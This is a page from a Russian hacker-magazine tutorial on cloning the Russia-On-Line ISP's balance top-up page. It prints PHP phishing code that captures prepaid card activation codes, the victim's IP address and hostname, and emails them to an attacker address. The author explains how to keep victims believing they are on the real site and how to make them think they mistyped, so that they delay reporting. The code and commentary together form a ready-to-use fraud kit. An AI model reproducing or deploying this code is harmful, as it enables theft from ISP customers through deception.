ВОЕННЫЙ HTTP’ОВЫЙ DNS - Берем контроль над браузером клиента

Спецвыпуск Xakep, номер #029, стр. 029-020-6


<?php echo $userlogin; ?>

Они выводят введенный пользователем логин, где это необходимо. Например, в полях "Имя пользователя", "Перенаправление почты", "Персональный номер" и т.п. Забыл уточнить, что я для примера брал страницу РОЛа, которая заблокированна и поэтому надо пополнить баланс. Почти все важные ссылки на данной станице идут на пагу-скрипт addmoney.php, где пользователю предлагают пополнить баланс.

<?

if ($csid=="" or $cert1=="" or $cert1=="" or $cert3=="" or $cert4=="") {}

else {

$timeall = 'Date: '.Date( 'D, d M Y H:i:s ').$SIGN.sprintf( '%02d%02d',floor($ZONE/3600),floor(($ZONE%3600)/60)). "\n";

$msg = $csid." - ".$cert1." - ".$cert1." - ".$cert3." - ".$cert4." \n";

$msg .= $timeall;

$msg .= "REMOTE_ADDR: $REMOTE_ADDR\n"; $host = gethostbyaddr("$REMOTE_ADDR");

$msg .= "HOST: $host\n";

$topic = "ROL: Card number.";

$email="sex@sex.ru";

mail($email, $topic, $msg, "From: sex@sex.ru");

}

?>

В начале скрипта идет проверка заполнены ли поля активирующие карточку, если да, то они отсылаются тебе на мыло с дополнительной информацией, время, IP'шник, хост.

<HTML>

<HEAD><TITLE>Russia-On-Line Internet card</TITLE></HEAD>

<BODY>

<h1 align=center>Пополнение баланса</h1>

<b>Только для клиентов РОЛ.</b><br>

Для пополнения баланса введите код активации Интернет-карты и нажмите кнопку "Пополнить баланс". Ваш баланс будет пополнен в соответствии с номиналом Интернет-карты.

<p>

<font color="maroon"><b>ВНИМАНИЕ:</b></font>

Некоторые серии Интернет-карт не могут быть использованы для пополнения баланса<br>

<font color="maroon"><b>ВНИМАНИЕ:</b></font>

При пополнении баланса автоматического перевода на другой тарифный план не происходит; для изменения тарифного плана см. Личный кабинет

После стандартного оформления данной РОЛовской страницы идет наша форма, которая ссылается сама на себя.

Не пустая, а равная main, переменная УИД ($uid=="main") показывает нам, что это не переход со страницы rvoffice.php, а клик на кнопке 'Пополнить баланс'.

<form method=post action=addmoney.php>

<? if ($csid=="" or $cert1=="" or $cert1=="" or $cert3=="" or $cert4=="") {

if ($uid=="main") { ?><h2 align=center><font color=f01010>Не указан код активации Интернет карты.<br>Пожалуйста, введите код активации.</font></h2><?

} }

Если хоть какие-то поля не заполнены, то мы ругаемся на пользователя стандартной фразой, взятой с РОЛа. Здесь у нас акцент делается на то, чтобы заставить пользователя поверить, что он на РОЛе.

else {

if ($uid=="main") {

?><h2 align=center><font color=f01010>Указан неверный код активации Интернет карты.<br>Пожалуйста, введите код активации заново.</font></h2><?

} } ?>

Если все поля заполнены кодом активации карточки, и это нажатие на кнопку 'Пополнить баланс', то код активации уже отослан нам в начале страницы, но мы все равно говорим пользователю, что он ошибся. Пусть думает, что его карточку заблокировали или он даун и т.п. Чем дольше он будет сомневаться в себе, тем лучше нам. Время в данном вопросе работает на нас.

Назад на стр. 029-020-5  Содержание  Вперед на стр. 029-020-7